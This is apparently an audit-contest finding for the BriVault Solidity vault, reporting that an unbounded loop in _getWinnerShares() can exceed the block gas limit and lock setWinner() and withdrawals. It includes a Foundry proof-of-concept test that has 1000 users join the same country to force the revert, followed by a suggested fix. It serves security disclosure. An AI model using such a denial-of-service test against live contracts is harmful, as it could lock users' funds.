BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

DoS via _getWinnerShares() Loop Causes Gas Limit Failure

Root + Impact

Description

  • Normal Behavior: _getWinnerShares() calculates total shares for the winning country by looping through the usersAddress[] array.

  • Specific Issue: If a large number of users join the event, the loop may exceed the block gas limit. This makes _getWinnerShares() uncallable, effectively locking functions that depend on it, such as setWinner() or withdrawals. This creates a Denial-of-Service (DoS) condition.

function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){ // @> risky loop
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

Risk

Likelihood:

  • Likely in events with hundreds or thousands of participants, especially if the network gas limit is not sufficient to process the loop.

  • Medium likelihood if the vault is intended for mass participation events.

Impact:

  • Critical DoS: _getWinnerShares() becomes uncallable due to out-of-gas errors, preventing setWinner() and withdraw() from executing.

  • Vault becomes effectively locked, denying legitimate users access to their winnings.


Proof of Concept

// test/BriVaultDoSAttack.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract BriVaultDoSAttackTest is Test {
BriVault public briVault;
MockERC20 public mockToken;
address owner = makeAddr("owner");
address[] public users;
uint256 constant NUM_USERS = 1000; // Simulate 1000 users
uint256 constant DEPOSIT_AMOUNT = 1 ether;
uint256 constant FEE_BSP = 0; // No fee for simplicity
uint256 constant COUNTRY_ID = 10;
function setUp() public {
// Deploy token
mockToken = new MockERC20("USDC", "USDC");
// Deploy vault
vm.startPrank(owner);
briVault = new BriVault(
IERC20(address(mockToken)),
FEE_BSP,
block.timestamp + 1 days,
makeAddr("feeAddr"),
0.01 ether,
block.timestamp + 30 days
);
briVault.setCountry(_generateCountries());
vm.stopPrank();
// Create 1000 users
for (uint i = 0; i < NUM_USERS; i++) {
address user = makeAddr(string(abi.encodePacked("user", i)));
users.push(user);
mockToken.mint(user, 10 ether);
}
}
function test_DoSAttack_SetWinnerReverts() public {
console.log("Starting DoS Attack with", NUM_USERS, "users...");
// ===================================
// STEP 1: 1000 users deposit + join same country
// ===================================
for (uint i = 0; i < NUM_USERS; i++) {
address user = users[i];
vm.startPrank(user);
mockToken.approve(address(briVault), DEPOSIT_AMOUNT);
briVault.deposit(DEPOSIT_AMOUNT, user);
briVault.joinEvent(COUNTRY_ID);
vm.stopPrank();
if (i % 100 == 0) {
console.log("Processed", i, "users...");
}
}
console.log("All", NUM_USERS, "users joined country", COUNTRY_ID);
console.log("usersAddress.length =", users.length);
// ===================================
// STEP 2: Move to event end + try setWinner
// ===================================
vm.warp(block.timestamp + 31 days);
vm.startPrank(owner);
// This will REVERT with "out of gas"
vm.expectRevert();
briVault.setWinner(COUNTRY_ID);
vm.stopPrank();
}
// Helper: Generate 48 countries
function _generateCountries() internal pure returns (string[48] memory countries) {
for (uint i = 0; i < 48; i++) {
countries[i] = string(abi.encodePacked("Country", i));
}
}
}

Recommended Mitigation

- for (uint256 i = 0; i < usersAddress.length; ++i){
- address user = usersAddress[i];
- totalWinnerShares += userSharesToCountry[user][winnerCountryId];
- }
+ // Use mapping-based aggregation or track shares per country on deposit/joinEvent
+ totalWinnerShares = countryShares[winnerCountryId]; // incremented on each joinEvent
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!